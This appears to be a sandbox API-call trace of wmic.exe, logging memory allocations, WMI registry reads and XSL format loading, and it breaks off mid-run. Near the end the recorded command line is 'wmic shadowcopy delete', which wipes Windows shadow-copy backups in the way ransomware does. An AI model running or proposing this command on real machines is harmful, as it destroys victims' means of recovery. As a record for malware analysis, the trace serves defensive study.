0x4528f8 [0055.590] malloc (_Size=0x18) returned 0x452910 [0055.591] malloc (_Size=0xc) returned 0x452930 [0055.591] SysStringLen (param_1="IDENTIFY") returned 0x8 [0055.591] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0055.591] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0055.591] SysStringLen (param_1="IDENTIFY") returned 0x8 [0055.591] malloc (_Size=0x18) returned 0x452948 [0055.591] malloc (_Size=0xc) returned 0x452968 [0055.591] SysStringLen (param_1="IMPERSONATE") returned 0xb [0055.591] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0055.591] SysStringLen (param_1="IMPERSONATE") returned 0xb [0055.591] SysStringLen (param_1="IDENTIFY") returned 0x8 [0055.591] SysStringLen (param_1="IDENTIFY") returned 0x8 [0055.591] SysStringLen (param_1="IMPERSONATE") returned 0xb [0055.591] malloc (_Size=0x18) returned 0x452980 [0055.591] malloc (_Size=0xc) returned 0x4529a0 [0055.591] SysStringLen (param_1="DELEGATE") returned 0x8 [0055.591] SysStringLen (param_1="IDENTIFY") returned 0x8 [0055.591] SysStringLen (param_1="DELEGATE") returned 0x8 [0055.591] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0055.591] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0055.591] SysStringLen (param_1="DELEGATE") returned 0x8 [0055.591] malloc (_Size=0x18) returned 0x4529b8 [0055.591] malloc (_Size=0xc) returned 0x4529d8 [0055.591] malloc (_Size=0x18) returned 0x4529f0 [0055.592] malloc (_Size=0xc) returned 0x452a10 [0055.592] SysStringLen (param_1="NONE") returned 0x4 [0055.592] SysStringLen (param_1="DEFAULT") returned 0x7 [0055.592] SysStringLen (param_1="DEFAULT") returned 0x7 [0055.592] SysStringLen (param_1="NONE") returned 0x4 [0055.592] malloc (_Size=0x18) returned 0x452a28 [0055.592] malloc (_Size=0xc) returned 0x452a48 [0055.593] SysStringLen (param_1="CONNECT") returned 0x7 [0055.593] SysStringLen (param_1="DEFAULT") returned 0x7 [0055.593] malloc (_Size=0x18) returned 0x452a60 [0055.593] malloc (_Size=0xc) returned 0x452a80 [0055.593] SysStringLen (param_1="CALL") returned 0x4 [0055.593] SysStringLen (param_1="DEFAULT") returned 0x7 [0055.593] SysStringLen (param_1="CALL") returned 0x4 [0055.593] SysStringLen (param_1="CONNECT") returned 0x7 [0055.593] malloc (_Size=0x18) returned 0x45e868 [0055.593] malloc (_Size=0xc) returned 0x452e98 [0055.594] SysStringLen (param_1="PKT") returned 0x3 [0055.594] SysStringLen (param_1="DEFAULT") returned 0x7 [0055.594] SysStringLen (param_1="PKT") returned 0x3 [0055.594] SysStringLen (param_1="NONE") returned 0x4 [0055.594] SysStringLen (param_1="NONE") returned 0x4 [0055.594] SysStringLen (param_1="PKT") returned 0x3 [0055.594] malloc (_Size=0x18) returned 0x45e888 [0055.594] malloc (_Size=0xc) returned 0x452eb0 [0055.594] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0055.594] SysStringLen (param_1="DEFAULT") returned 0x7 [0055.594] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0055.594] SysStringLen (param_1="NONE") returned 0x4 [0055.594] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0055.594] SysStringLen (param_1="PKT") returned 0x3 [0055.594] SysStringLen (param_1="PKT") returned 0x3 [0055.594] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0055.594] malloc (_Size=0x18) returned 0x45e8a8 [0055.594] malloc (_Size=0xc) returned 0x452ec8 [0055.594] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0055.594] SysStringLen (param_1="DEFAULT") returned 0x7 [0055.594] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0055.594] SysStringLen (param_1="PKT") returned 0x3 [0055.594] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0055.594] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0055.595] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0055.595] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0055.595] malloc (_Size=0x18) returned 0x45e8c8 [0055.595] malloc (_Size=0x40) returned 0x452ee0 [0055.595] malloc (_Size=0x20a) returned 0x452f28 [0055.595] GetSystemDirectoryW (in: lpBuffer=0x452f28, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0055.595] free (_Block=0x452f28) [0055.595] malloc (_Size=0xc) returned 0x452f28 [0055.595] malloc (_Size=0xc) returned 0x452f40 [0055.595] malloc (_Size=0xc) returned 0x452f58 [0055.595] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0055.595] SysStringLen (param_1="\\wbem\\") returned 0x6 [0055.595] free (_Block=0x452f28) [0055.595] free (_Block=0x452f40) [0055.595] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0055.595] free (_Block=0x452f58) [0055.595] malloc (_Size=0xc) returned 0x452f28 [0055.595] malloc (_Size=0xc) returned 0x452f40 [0055.595] malloc (_Size=0xc) returned 0x452f58 [0055.595] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0055.595] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0055.596] free (_Block=0x452f28) [0055.596] free (_Block=0x452f40) [0055.596] GetCurrentThreadId () returned 0xcc4 [0055.596] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x2bf6c0 | out: phkResult=0x2bf6c0*=0x10c) returned 0x0 [0055.596] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x2bf6cc, lpcbData=0x2bf6c8*=0x400 | out: lpType=0x0, lpData=0x2bf6cc*=0x30, lpcbData=0x2bf6c8*=0x4) returned 0x0 [0055.596] _wcsicmp (_String1="0", _String2="1") returned -1 [0055.596] _wcsicmp (_String1="0", _String2="2") returned -2 [0055.596] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x2bf6c8*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x2bf6c8*=0x42) returned 0x0 [0055.596] malloc (_Size=0x86) returned 0x452f70 [0055.596] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x452f70, lpcbData=0x2bf6c8*=0x42 | out: lpType=0x0, lpData=0x452f70*=0x25, lpcbData=0x2bf6c8*=0x42) returned 0x0 [0055.596] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0055.596] malloc (_Size=0x42) returned 0x453000 [0055.596] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0055.596] RegQueryValueExW (in: hKey=0x10c, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x2bf6cc, lpcbData=0x2bf6c8*=0x400 | out: lpType=0x0, lpData=0x2bf6cc*=0x36, lpcbData=0x2bf6c8*=0xc) returned 0x0 [0055.596] _wtol (_String="65536") returned 65536 [0055.596] free (_Block=0x452f70) [0055.596] RegCloseKey (hKey=0x0) returned 0x6 [0055.596] CoCreateInstance (in: rclsid=0xcd6d40*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xcd6d20*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x2bfb5c | out: ppv=0x2bfb5c*=0x22b4630) returned 0x0 [0056.491] FreeThreadedDOMDocument:IXMLDOMDocument:Load (in: This=0x22b4630, xmlSource=0x2bfae0*(varType=0x8, wReserved1=0xffff, wReserved2=0x387a, wReserved3=0x7735, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0x2bfb44 | out: isSuccessful=0x2bfb44*=0xffff) returned 0x0 [0067.321] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x22b4630, DOMElement=0x2bfb58 | out: DOMElement=0x2bfb58) returned 0x0 [0067.321] malloc (_Size=0xc) returned 0x452f28 [0067.322] free (_Block=0x452f28) [0067.322] malloc (_Size=0xc) returned 0x452f28 [0067.322] free (_Block=0x452f28) [0067.322] malloc (_Size=0xc) returned 0x452f28 [0067.322] malloc (_Size=0xc) returned 0x452f40 [0067.322] malloc (_Size=0x18) returned 0x45e8e8 [0067.323] malloc (_Size=0xc) returned 0x453160 [0067.323] free (_Block=0x453160) [0067.323] malloc (_Size=0xc) returned 0x453160 [0067.323] malloc (_Size=0xc) returned 0x453178 [0067.323] SysStringLen (param_1="VALUE") returned 0x5 [0067.323] SysStringLen (param_1="TABLE") returned 0x5 [0067.323] SysStringLen (param_1="TABLE") returned 0x5 [0067.323] SysStringLen (param_1="VALUE") returned 0x5 [0067.323] malloc (_Size=0x18) returned 0x45e908 [0067.323] malloc (_Size=0xc) returned 0x453190 [0067.323] free (_Block=0x453190) [0067.323] malloc (_Size=0xc) returned 0x45fac8 [0067.323] malloc (_Size=0xc) returned 0x45fae0 [0067.324] SysStringLen (param_1="LIST") returned 0x4 [0067.324] SysStringLen (param_1="TABLE") returned 0x5 [0067.324] malloc (_Size=0x18) returned 0x45e928 [0067.324] malloc (_Size=0xc) returned 0x45faf8 [0067.324] free (_Block=0x45faf8) [0067.324] malloc (_Size=0xc) returned 0x45faf8 [0067.324] malloc (_Size=0xc) returned 0x45fb10 [0067.324] SysStringLen (param_1="RAWXML") returned 0x6 [0067.324] SysStringLen (param_1="TABLE") returned 0x5 [0067.324] SysStringLen (param_1="RAWXML") returned 0x6 [0067.324] SysStringLen (param_1="LIST") returned 0x4 [0067.324] SysStringLen (param_1="LIST") returned 0x4 [0067.324] SysStringLen (param_1="RAWXML") returned 0x6 [0067.324] malloc (_Size=0x18) returned 0x45e948 [0067.325] malloc (_Size=0xc) returned 0x45fb28 [0067.325] free (_Block=0x45fb28) [0067.325] malloc (_Size=0xc) returned 0x45fb28 [0067.325] malloc (_Size=0xc) returned 0x45fb40 [0067.325] SysStringLen (param_1="HTABLE") returned 0x6 [0067.325] SysStringLen (param_1="TABLE") returned 0x5 [0067.325] SysStringLen (param_1="HTABLE") returned 0x6 [0067.325] SysStringLen (param_1="LIST") returned 0x4 [0067.325] malloc (_Size=0x18) returned 0x45e968 [0067.326] malloc (_Size=0xc) returned 0x45fb58 [0067.326] free (_Block=0x45fb58) [0067.326] malloc (_Size=0xc) returned 0x45fb58 [0067.326] malloc (_Size=0xc) returned 0x45fb70 [0067.326] SysStringLen (param_1="HFORM") returned 0x5 [0067.326] SysStringLen (param_1="TABLE") returned 0x5 [0067.326] SysStringLen (param_1="HFORM") returned 0x5 [0067.326] SysStringLen (param_1="LIST") returned 0x4 [0067.326] SysStringLen (param_1="HFORM") returned 0x5 [0067.326] SysStringLen (param_1="HTABLE") returned 0x6 [0067.326] malloc (_Size=0x18) returned 0x45e988 [0067.326] malloc (_Size=0xc) returned 0x45fb88 [0067.326] free (_Block=0x45fb88) [0067.327] malloc (_Size=0xc) returned 0x45fb88 [0067.327] malloc (_Size=0xc) returned 0x45fba0 [0067.327] SysStringLen (param_1="XML") returned 0x3 [0067.327] SysStringLen (param_1="TABLE") returned 0x5 [0067.327] SysStringLen (param_1="XML") returned 0x3 [0067.327] SysStringLen (param_1="VALUE") returned 0x5 [0067.327] SysStringLen (param_1="VALUE") returned 0x5 [0067.327] SysStringLen (param_1="XML") returned 0x3 [0067.327] malloc (_Size=0x18) returned 0x45e9a8 [0067.327] malloc (_Size=0xc) returned 0x45fbb8 [0067.327] free (_Block=0x45fbb8) [0067.327] malloc (_Size=0xc) returned 0x45fbb8 [0067.327] malloc (_Size=0xc) returned 0x45fbd0 [0067.327] SysStringLen (param_1="MOF") returned 0x3 [0067.327] SysStringLen (param_1="TABLE") returned 0x5 [0067.327] SysStringLen (param_1="MOF") returned 0x3 [0067.327] SysStringLen (param_1="LIST") returned 0x4 [0067.328] SysStringLen (param_1="MOF") returned 0x3 [0067.328] SysStringLen (param_1="RAWXML") returned 0x6 [0067.328] SysStringLen (param_1="LIST") returned 0x4 [0067.328] SysStringLen (param_1="MOF") returned 0x3 [0067.328] malloc (_Size=0x18) returned 0x45e9c8 [0067.328] malloc (_Size=0xc) returned 0x45fbe8 [0067.328] free (_Block=0x45fbe8) [0067.328] malloc (_Size=0xc) returned 0x45fbe8 [0067.328] malloc (_Size=0xc) returned 0x45fc00 [0067.328] SysStringLen (param_1="CSV") returned 0x3 [0067.328] SysStringLen (param_1="TABLE") returned 0x5 [0067.328] SysStringLen (param_1="CSV") returned 0x3 [0067.328] SysStringLen (param_1="LIST") returned 0x4 [0067.328] SysStringLen (param_1="CSV") returned 0x3 [0067.328] SysStringLen (param_1="HTABLE") returned 0x6 [0067.328] SysStringLen (param_1="CSV") returned 0x3 [0067.328] SysStringLen (param_1="HFORM") returned 0x5 [0067.328] malloc (_Size=0x18) returned 0x45e9e8 [0067.329] malloc (_Size=0xc) returned 0x45fc18 [0067.329] free (_Block=0x45fc18) [0067.329] malloc (_Size=0xc) returned 0x45fc18 [0067.329] malloc (_Size=0xc) returned 0x45fc30 [0067.329] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.329] SysStringLen (param_1="TABLE") returned 0x5 [0067.329] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.329] SysStringLen (param_1="VALUE") returned 0x5 [0067.329] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.329] SysStringLen (param_1="XML") returned 0x3 [0067.329] SysStringLen (param_1="XML") returned 0x3 [0067.329] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.329] malloc (_Size=0x18) returned 0x45ea08 [0067.329] malloc (_Size=0xc) returned 0x45fc48 [0067.330] free (_Block=0x45fc48) [0067.330] malloc (_Size=0xc) returned 0x45fc48 [0067.330] malloc (_Size=0xc) returned 0x45fc60 [0067.330] SysStringLen (param_1="texttablewsys") returned 0xd [0067.330] SysStringLen (param_1="TABLE") returned 0x5 [0067.330] SysStringLen (param_1="texttablewsys") returned 0xd [0067.330] SysStringLen (param_1="XML") returned 0x3 [0067.330] SysStringLen (param_1="texttablewsys") returned 0xd [0067.330] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.330] SysStringLen (param_1="XML") returned 0x3 [0067.330] SysStringLen (param_1="texttablewsys") returned 0xd [0067.330] malloc (_Size=0x18) returned 0x45ea28 [0067.330] malloc (_Size=0xc) returned 0x45fc78 [0067.331] free (_Block=0x45fc78) [0067.331] malloc (_Size=0xc) returned 0x45fc78 [0067.331] malloc (_Size=0xc) returned 0x45fc90 [0067.331] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.331] SysStringLen (param_1="TABLE") returned 0x5 [0067.331] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.331] SysStringLen (param_1="XML") returned 0x3 [0067.331] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.331] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.331] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.331] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.331] malloc (_Size=0x18) returned 0x45ea48 [0067.331] malloc (_Size=0xc) returned 0x45fca8 [0067.331] free (_Block=0x45fca8) [0067.331] malloc (_Size=0xc) returned 0x45fca8 [0067.331] malloc (_Size=0xc) returned 0x45fcc0 [0067.332] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0067.332] SysStringLen (param_1="TABLE") returned 0x5 [0067.332] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0067.332] SysStringLen (param_1="XML") returned 0x3 [0067.332] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0067.332] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.332] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0067.332] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.332] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.332] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0067.332] malloc (_Size=0x18) returned 0x45ea68 [0067.332] malloc (_Size=0xc) returned 0x45fcd8 [0067.332] free (_Block=0x45fcd8) [0067.332] malloc (_Size=0xc) returned 0x45fcd8 [0067.332] malloc (_Size=0xc) returned 0x45fcf0 [0067.332] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.332] SysStringLen (param_1="TABLE") returned 0x5 [0067.332] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.333] SysStringLen (param_1="XML") returned 0x3 [0067.333] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.333] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.333] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.333] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.333] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.333] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.333] malloc (_Size=0x18) returned 0x45ea88 [0067.333] malloc (_Size=0xc) returned 0x45fd08 [0067.333] free (_Block=0x45fd08) [0067.333] malloc (_Size=0xc) returned 0x45fd08 [0067.333] malloc (_Size=0xc) returned 0x45fd20 [0067.333] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0067.333] SysStringLen (param_1="TABLE") returned 0x5 [0067.333] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0067.333] SysStringLen (param_1="XML") returned 0x3 [0067.333] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0067.333] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.333] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0067.333] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.333] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0067.334] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.334] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.334] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0067.334] malloc (_Size=0x18) returned 0x45eaa8 [0067.334] malloc (_Size=0xc) returned 0x45fd38 [0067.334] free (_Block=0x45fd38) [0067.334] malloc (_Size=0xc) returned 0x45fd38 [0067.334] malloc (_Size=0xc) returned 0x45fd50 [0067.334] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0067.334] SysStringLen (param_1="TABLE") returned 0x5 [0067.334] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0067.334] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.334] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0067.334] SysStringLen (param_1="XML") returned 0x3 [0067.334] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0067.334] SysStringLen (param_1="texttablewsys") returned 0xd [0067.334] SysStringLen (param_1="XML") returned 0x3 [0067.334] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0067.334] malloc (_Size=0x18) returned 0x45eac8 [0067.335] malloc (_Size=0xc) returned 0x45fd68 [0067.335] free (_Block=0x45fd68) [0067.335] malloc (_Size=0xc) returned 0x45fd68 [0067.335] malloc (_Size=0xc) returned 0x45fd80 [0067.335] SysStringLen (param_1="htable-sortby") returned 0xd [0067.335] SysStringLen (param_1="TABLE") returned 0x5 [0067.335] SysStringLen (param_1="htable-sortby") returned 0xd [0067.335] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.335] SysStringLen (param_1="htable-sortby") returned 0xd [0067.335] SysStringLen (param_1="XML") returned 0x3 [0067.335] SysStringLen (param_1="htable-sortby") returned 0xd [0067.335] SysStringLen (param_1="texttablewsys") returned 0xd [0067.335] SysStringLen (param_1="htable-sortby") returned 0xd [0067.335] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0067.335] SysStringLen (param_1="XML") returned 0x3 [0067.335] SysStringLen (param_1="htable-sortby") returned 0xd [0067.335] malloc (_Size=0x18) returned 0x45eae8 [0067.336] malloc (_Size=0xc) returned 0x45fd98 [0067.336] free (_Block=0x45fd98) [0067.336] malloc (_Size=0xc) returned 0x45fd98 [0067.336] malloc (_Size=0xc) returned 0x45fdb0 [0067.336] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0067.336] SysStringLen (param_1="TABLE") returned 0x5 [0067.336] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0067.336] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.336] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0067.336] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.336] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0067.336] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0067.336] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.336] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0067.336] malloc (_Size=0x18) returned 0x45eb08 [0067.336] malloc (_Size=0xc) returned 0x45fdc8 [0067.337] free (_Block=0x45fdc8) [0067.337] malloc (_Size=0xc) returned 0x45fdc8 [0067.337] malloc (_Size=0xc) returned 0x45fde0 [0067.337] SysStringLen (param_1="wmiclimofformat") returned 0xf [0067.337] SysStringLen (param_1="TABLE") returned 0x5 [0067.337] SysStringLen (param_1="wmiclimofformat") returned 0xf [0067.337] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.337] SysStringLen (param_1="wmiclimofformat") returned 0xf [0067.337] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.337] SysStringLen (param_1="wmiclimofformat") returned 0xf [0067.337] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0067.337] SysStringLen (param_1="wmiclimofformat") returned 0xf [0067.337] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0067.337] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.337] SysStringLen (param_1="wmiclimofformat") returned 0xf [0067.337] malloc (_Size=0x18) returned 0x45eb28 [0067.337] malloc (_Size=0xc) returned 0x45fdf8 [0067.337] free (_Block=0x45fdf8) [0067.338] malloc (_Size=0xc) returned 0x45fdf8 [0067.338] malloc (_Size=0xc) returned 0x45fe10 [0067.338] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0067.338] SysStringLen (param_1="TABLE") returned 0x5 [0067.338] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0067.338] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.338] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0067.338] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.338] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0067.338] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.338] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.338] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0067.338] malloc (_Size=0x18) returned 0x45eb48 [0067.338] malloc (_Size=0xc) returned 0x45fe28 [0067.338] free (_Block=0x45fe28) [0067.338] malloc (_Size=0xc) returned 0x45fe28 [0067.338] malloc (_Size=0xc) returned 0x45fe40 [0067.338] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0067.339] SysStringLen (param_1="TABLE") returned 0x5 [0067.339] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0067.339] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.339] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0067.339] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.339] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0067.339] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.339] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0067.339] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0067.339] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.339] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0067.339] malloc (_Size=0x18) returned 0x45eb68 [0067.339] FreeThreadedDOMDocument:IUnknown:Release (This=0x22b4630) returned 0x0 [0067.339] free (_Block=0x452f58) [0067.339] GetCommandLineW () returned="wmic shadowcopy delete" [0067.339] malloc (_Size=0x30) returned 0x453190 [0067.339] memcpy_s (in: _Destination=0x453190, _DestinationSize=0x2e, _Source=0x6c1976, _SourceSize=0x2e | out: _Destination=0x453190) returned 0x0 [0067.339] malloc (_Size=0xc) returned 0x45fe58 [0067.339] malloc (_Size=0xc) returned 0x45fe70 [0067.339] malloc (_Size=0xc) returned 0x45fe88 [0067.339] malloc (_Size=0xc) returned 0x2142060 [0067.340] malloc (_Size=0x80) returned 0x21405b0 [0067.340] GetLocalTime (in: lpSystemTime=0x2bfb20 | out: lpSystemTime=0x2bfb20*(wYear=0x7e4, wMonth=0x2, wDayOfWeek=0x2, wDay=0xb, wHour=0x10, wMinute=0x28, wSecond=0x4, wMilliseconds=0xf2)) [0067.340] _vsnwprintf (in: _Buffer=0x21405b0, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x2bfb00 | out: _Buffer="02-11-2020T16:40:04") returned 19 [0067.340] lstrlenW (lpString=" shadowcopy delete") returned 19 [0067.340] malloc (_Size=0x28) returned 0x4531c8 [0067.340] lstrlenW (lpString=" shadowcopy delete") returned 19 [0067.340] lstrlenW (lpString=" shadowcopy delete") returned 19 [0067.340] malloc (_Size=0x28) returned 0x4531f8 [0067.340] lstrlenW (lpString=" shadowcopy delete") returned 19 [0067.340] lstrlenW (lpString=" shadowcopy delete") returned 19 [0067.340] lstrlenW (lpString=" shadowcopy delete") returned 19 [0067.340] malloc (_Size=0x16) returned 0x45eb88 [0067.340] lstrlenW (lpString="shadowcopy") returned 10 [0067.340] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81 [0067.340] malloc (_Size=0x16) returned 0x45eba8 [0067.340] malloc (_Size=0x4) returned 0x453228 [0067.340] free (_Block=0x0) [0067.340] free (_Block=0x45eb88) [0067.340] lstrlenW (lpString=" shadowcopy delete") returned 19 [0067.340] malloc (_Size=0xe) returned 0x2142078 [0067.340] lstrlenW (lpString="delete") returned 6 [0067.340] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66 [0067.340] malloc (_Size=0xe) returned 0x2142090 [0067.340] malloc (_Size=0x8) returned 0x452f58 [0067.340] memmove_s (in: _Destination=0x452f58, _DestinationSize=0x4, _Source=0x453228, _SourceSize=0x4 | out: _Destination=0x452f58) returned 0x0 [0067.340] free (_Block=0x453228) [0067.340] free (_Block=0x0) [0067.340] free (_Block=0x2142078) [0067.340] malloc (_Size=0x8) returned 0x453228 [0067.340] lstrlenW (lpString="QUIT") returned 4 [0067.340] lstrlenW (lpString="shadowcopy") returned 10 [0067.340] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0067.340] lstrlenW (lpString="EXIT") returned 4 [0067.340] lstrlenW (lpString="shadowcopy") returned 10 [0067.340] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0067.340] free (_Block=0x453228) [0067.341] WbemLocator:IUnknown:AddRef (This=0x190828) returned 0x2 [0067.341] malloc (_Size=0x8) returned 0x453228 [0067.341] lstrlenW (lpString="/") returned 1 [0067.341] lstrlenW (lpString="shadowcopy") returned 10 [0067.341] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0067.341] lstrlenW (lpString="-") returned 1 [0067.341] lstrlenW (lpString="shadowcopy") returned 10 [0067.341] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0067.341] lstrlenW (lpString="CLASS") returned 5 [0067.341] lstrlenW (lpString="shadowcopy") returned 10 [0067.341] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0067.341] lstrlenW (lpString="PATH") returned 4 [0067.341] lstrlenW (lpString="shadowcopy") returned 10 [0067.341] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0067.341] lstrlenW (lpString="CONTEXT") returned 7 [0067.341] lstrlenW (lpString="shadowcopy") returned 10 [0067.341] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0067.341] lstrlenW (lpString="shadowcopy") returned 10 [0067.341] malloc (_Size=0x16) returned 0x45eb88 [0067.341] lstrlenW (lpString="shadowcopy") returned 10 [0067.341] GetCurrentThreadId () returned 0xcc4 [0067.341] ??0CHString@@QAE@XZ () returned 0x2bfa74 [0067.341] malloc (_Size=0xc) returned 0x2142078 [0067.341] malloc (_Size=0xc) returned 0x21420a8 [0067.341] 